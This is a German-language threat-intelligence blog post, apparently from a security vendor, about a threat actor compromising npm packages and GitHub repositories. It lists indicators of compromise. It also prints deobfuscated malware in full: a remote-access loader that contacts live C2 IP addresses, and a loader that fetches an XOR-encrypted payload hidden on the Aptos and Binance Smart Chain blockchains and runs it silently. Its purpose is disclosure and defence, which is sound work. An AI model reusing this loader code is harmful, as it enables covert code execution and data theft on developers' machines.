Aikido

Ein genauerer Blick auf den Bedrohungsakteur hinter dem react-native-aria-Angriff

Charlie Eriksen
Charlie Eriksen
|
#
#

Sie haben vielleicht die jüngste Geschichte über eine Gruppe von Bedrohungsakteuren gelesen, die 16 beliebte Pakete im Zusammenhang mit React Native Aria und GlueStack kompromittiert hat. Wir haben diese entdeckt und dokumentiert hier. Zuvor haben wir festgestellt, dass sie das Paket kompromittiert haben rand-user-agent am 5. Mai 2025, wie berichtet hier

Seitdem haben wir diesen Bedrohungsakteur verfolgt und kleinere Angriffe beobachtet, die wir noch nicht vollständig öffentlich dokumentiert haben. Wir wollten sie jedoch zusammenstellen, um ein umfassenderes Bild ihrer Aktivitäten zu vermitteln. 

Erste bösartige Pakete

Am 8. Mai 2025 hatten uns unsere Systeme bereits auf zwei neue Pakete auf npm aufmerksam gemacht, die bösartig zu sein schienen. Sie sind:

Beide wurden von demselben Benutzer hochgeladen, aminegineerings, registriert mit der E-Mail aminengineerings@gmail[.]com. Von den ersten Versionen an enthielten beide die bösartige Nutzlast, was darauf hindeutet, dass dieses Paket von den Bedrohungsakteuren selbst stammt.

Weitere bösartige Pakete

Nach dem Angriff auf gluestack hat der Angreifer noch zwei weitere Pakete veröffentlicht. Die Pakete wurden am 8. Juni 2025 unter den folgenden Namen veröffentlicht tailwindcss-animate-expand und mongoose-lit. Diese wurden von einem Benutzer namens mattfarser. Der Benutzer wurde danach schnell gelöscht.

Genauer gesagt, die tailwindcss-animate-expand Paket ist bemerkenswert, da es eine andere Nutzlaststruktur hat. Der erste Teil des Pakets sieht wie folgt aus:

global['r']=require;(function(){var Afr='',xzH=906-895;...

Wir sehen nicht mehr die global['_V'] Variable gesetzt wird. Wenn wir dies in einer Sandbox ausführen, sehen wir, dass die endgültige Nutzlast auch etwas anders aussieht. Die Nutzlast sieht nach der Entschleierung wie folgt aus:

global._V = 'A4';
(async () => {
  try {
    const c = global.r || require;
    const d = global._V || '0';
    const f = c('os');
    const g = c("path");
    const h = c('fs');
    const i = c('child_process');
    const j = c('crypto');
    const k = f.platform();
    const l = k.startsWith("win");
    const m = f.hostname();
    const n = f.userInfo().username;
    const o = f.type();
    const p = f.release();
    const q = o + " " + p;
    const r = process.execPath;
    const s = process.version;
    const u = new Date().toISOString();
    const v = process.cwd();
    const w = typeof __filename === "undefined" || __filename !== "[eval]";
    const x = typeof __dirname === 'undefined' ? v : __dirname;
    const y = g.join(f.homedir(), ".node_modules");
    if (typeof module === "object") {
      module.paths.push(g.join(y, "node_modules"));
    } else {
      if (global._module) {
        global._module.paths.push(g.join(y, "node_modules"));
      } else {
        if (global.m) {
          global.m.paths.push(g.join(y, 'node_modules'));
        }
      }
    }
    async function z(V, W) {
      return new global.Promise((X, Y) => {
        i.exec(V, W, (Z, a0, a1) => {
          if (Z) {
            Y("Error: " + Z.message);
            return;
          }
          if (a1) {
            Y("Stderr: " + a1);
            return;
          }
          X(a0);
        });
      });
    }
    function A(V) {
      try {
        c.resolve(V);
        return true;
      } catch (W) {
        return false;
      }
    }
    const B = A("axios");
    const C = A("socket.io-client");
    if (!B || !C) {
      try {
        const V = {
          "stdio": "inherit",
          windowsHide: true
        };
        const W = {
          "stdio": "inherit",
          "windowsHide": true
        };
        if (B) {
          await z("npm --prefix \"" + y + "\" install socket.io-client", V);
        } else {
          await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
        }
      } catch (X) {}
    }
    const D = c("axios");
    const E = c("form-data");
    const F = c("socket.io-client");
    let G;
    let H;
    let I = {};
    const J = d.startsWith('A4') ? "http://136.0.9.8:3306" : "http://166.88.4.2:443";
    const K = d.startsWith('A4') ? "http://136.0.9.8:27017" : "http://166.88.4.2:27017";
...

Besonders interessant ist, dass die Version A4die bei dem Angriff am Wochenende als Signal für die Nutzung des neuen C2-Servers verwendet wurde.

Wir sehen auch, dass der "alte" C2-Server nicht mehr erwähnt wird. Stattdessen haben sie die IP 166.88.4[.]2.

Warnhinweise

Im Vorfeld dieses Angriffs hatten wir festgestellt, dass einige kleine Pakete kompromittiert worden waren. Hier sind die Pakete, die uns aufgefallen sind:

Paket Version Datum der Veröffentlichung
@lfwfinance/sdk 1.3.5 3. Juni 2025
@lfwfinance/sdk-dev 2.0.10 3. Juni 2025
algorand-htlc 1.0.2 3. Juni 2025
avm-satoshi-dice 1.0.6 3. Juni 2025
biatec-avm-gas-station 1.1.2 3. Juni 2025
arc200-Klient 1.0.7 3. Juni 2025
cputil-Knoten 0.6.6 3. Juni 2025

Diese Pakete gehören drei verschiedenen Personen und haben weniger als 100 Downloads pro Woche. Es scheint, dass diese Bedrohungsakteure immer wieder in der Lage sind, die Token für npm-Konten zu kompromittieren. 

Kompromittierte GitHub-Repos 

Als wir diese Angriffe weiter untersuchten, beschlossen wir, auch andere Ökosysteme auf Beweise hin zu untersuchen, die mehr Aufschluss über die Arbeitsweise dieser Bedrohungsakteure geben könnten. Wir konnten 19 Repositories auf GitHub entdecken, die von denselben Bedrohungsakteuren kompromittiert wurden:

Repo Datum Commit
LZeroAnalytics / ethereum-faucet 04 Jun 2025 23ea1dd
LZeroAnalytics / hardhat-vrf-Verträge 04 Jun 2025 f325ab6
DogukanGun / TurkClub 23. Mai 2025 84aaa06
khaliduddin / zahlen-spiel 19. Mai 2025 36f20cb
DogukanGun / NexWallet 16. Mai 2025 43193c5
DogukanGun / NexAI 14. Mai 2025 74d5221
revoks / runde-feder-1f9f 01. Mai 2025 ca05542
LLM-Red-Team / glm-free-api 28 Apr 2025 16a0bfc
LLM-Red-Team / deepseek-free-api 08 Apr 2025 37f4c58
DogukanGun / pipeline-templates 02 Apr 2025 699eb16
mobileteamz / Landhsoft-Frontend 29 Mär 2025 e3636c9
UnderGod-dev/Portfolio 29 Mär 2025 87f8add
DogukanGun / PopScope 26. März 2025 1775087
DogukanGun / NexAgent 23 Mär 2025 7ff7afa
Sid31 / Front-Buy-free 28. Februar 2025 ce93a20
DogukanGun / supabase 12 Jan 2025 71e169b
LLM-Red-Team / kimi-free-api 17. Dezember 2024 2e6397c
LLM-Red-Team / doubao-free-api 13. Dezember 2024 b0ce4e9
LLM-Red-Team / qwen-free-api 13. Dezember 2024 d8046bf

Es gibt eine Reihe von Übertragungen, die besonders hervorstechen, zum Beispiel:

https://github.com/LZeroAnalytics/hardhat-vrf-contracts/commit/f325ab694ff83e12c96a99a58d51635e70edcdbf

Der Bedrohungsakteur hat die von ihm verwendete Nutzlast leicht verändert. In diesem Fall haben sie eine base64-kodierte Nutzlast, die sie an eval() übergeben. Hier ist der dekodierte Payload, versehen mit Kommentaren, die seine Funktionalität beschreiben.

/*****************************************************************************************
 *  Malware “loader” that hides its real payload on two block-chains.                    *
 *  Flow ⬇️                                                                             *
 *    🥇  Step-1  Read pointer on Aptos                                                 *
 *    🥈  Step-2  Use pointer on Binance Smart Chain (BSC)                              *
 *    🥉  Step-3  Pull out hidden blob                                                 *
 *    🗝️  Step-4  Decode & decrypt                                                    *
 *    🚀  Step-5  Run it silently                                                      *
 *****************************************************************************************/

/* ─────────────────────────────  Bootstrap  ───────────────────────────── */
global['r'] = require;                 // save `require` as global.r (little obfuscation)
(async () => {

  /* quick aliases */
  const c = global;                    // shorthand for `global`
  const i = c['r'];                    // shorthand for `require`

  /* 🛠 Helper 1: GET url → JSON  */
  async function e (url) {
    return new Promise((resolve, reject) => {
      i('https')
        .get(url, res => {
          let body = '';
          res.on('data', chunk => (body += chunk));
          res.on('end', () => {
            try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
          });
        })
        .on('error', reject)
        .end();
    });
  }

  /* 🛠 Helper 2: call BSC JSON-RPC  */
  async function o (method, params = []) {
    return new Promise((resolve, reject) => {
      const payload = JSON.stringify({ jsonrpc: '2.0', method, params, id: 1 });
      const opts    = { hostname: 'bsc-dataseed.binance.org', method: 'POST' };

      const req = i('https')
        .request(opts, res => {
          let body = '';
          res.on('data', chunk => (body += chunk));
          res.on('end', () => {
            try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
          });
        })
        .on('error', reject);

      req.write(payload);
      req.end();
    });
  }

  /* ─────────── Core routine that implements 🥇 → 🗝️ steps ─────────── */
  async function t (aptosAccount) {

    /* 🥇  STEP-1  Read pointer on Aptos */
    const latestTx  = await e(
      `https://fullnode.mainnet.aptoslabs.com/v1/accounts/${aptosAccount}/transactions?limit=1`
    );
    const bscHash   = latestTx[0].payload.arguments[0];   // pointer → BSC tx-hash

    /* 🥈  STEP-2  Fetch BSC transaction carrying the payload */
    const bscTx     = await o('eth_getTransactionByHash', [bscHash]);
    const hexBlob   = bscTx.result.input.slice(2);        // drop "0x"

    /* 🥉  STEP-3  Pull out hidden blob (still unreadable) */
    const rawText   = Buffer.from(hexBlob, 'hex').toString('utf8');
    const b64Chunk  = rawText.split('..')[1];             // keep part after ".."

    /* 🗝️  STEP-4  Decode & decrypt */
    const encrypted = atob(b64Chunk);                     // Base-64 → binary string
    const KEY       = '$v$5;kmc$ldm*5SA';
    let  payload    = '';

    for (let j = 0; j < encrypted.length; j++) {
      payload += String.fromCharCode(
        encrypted.charCodeAt(j) ^ KEY.charCodeAt(j % KEY.length)
      );
    }
    return payload;                                      // plain-text JS to execute
  }

  /* 🚀  STEP-5  Run it silently in the background */
  try {
    const script = await t(
      '0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d'
    );

    i('child_process')
      .spawn(
        'node',
        ['-e', `global['_V']='${c['_V'] || 0}';${script}`],
        { detached: true, stdio: 'ignore', windowsHide: true }
      )
      .on('error', () => { /* swallow child errors */ });

  } catch (err) {
    /* stay quiet on any failure */
  }

})();       

Dieser Code ist clever, denn er bootet sich teilweise selbst aus den Inhalten zweier verschiedener Blockchains. Hier ist ein schrittweiser Überblick:

Die Transaktion auf der Binance Smart Chain ist unten zu finden. Es ist erwähnenswert, dass die Wallet und der Vertrag seit dem 7. Februar 2025 existieren: 

https://bscscan.com/tx/0x5b28b2aa49bae766099aab7c74956d17c305079d9d3575256d3a72c310079c37

Wir haben den Code in einer Sandbox ausgeführt und die endgültige Nutzlast erhalten, und es war dieselbe Nutzlast, die wir bereits zuvor ohne wesentliche Änderungen dokumentiert haben. 

Schlussfolgerungen

Wir sehen, dass der Bedrohungsakteur aktiv und konsequent nicht nur npm-Pakete, sondern auch GitHub-Repositories kompromittiert. Darüber hinaus haben sie mit der Bereitstellung ihrer eigenen Pakete mit ihrem RAT experimentiert. Sie haben auch damit begonnen, Blockchains als Methode zur Verbreitung ihres bösartigen Codes zu nutzen. 

Indikatoren für Kompromisse

Pakete

  • solanautil
  • web3-socketio
  • tailwindcss-animate-expand
  • mongoose-lite
  • @lfwfinance/sdk
  • @lfwfinance/sdk-dev
  • algorand-htlc
  • avm-satoshi-dice
  • biatec-avm-gas-station
  • arc200-Klient
  • cputil-Knoten

IPs

  • 166.88.4[.]2
  • 136.0.9[.]8

Aptos-Konto

  • 0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d

BSC-Adresse

  • 0x9BC1355344B54DEDf3E44296916eD15653844509

BSC-Vertrag

  • 0x8EaC3198dD72f3e07108c4C7CFf43108AD48A71c

Starten Sie kostenlos

Sichern Sie Ihren Code, Cloud und die Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell  automatisch.

Keine Kreditkarte erforderlich |Scanergebnisse in 32 Sekunden.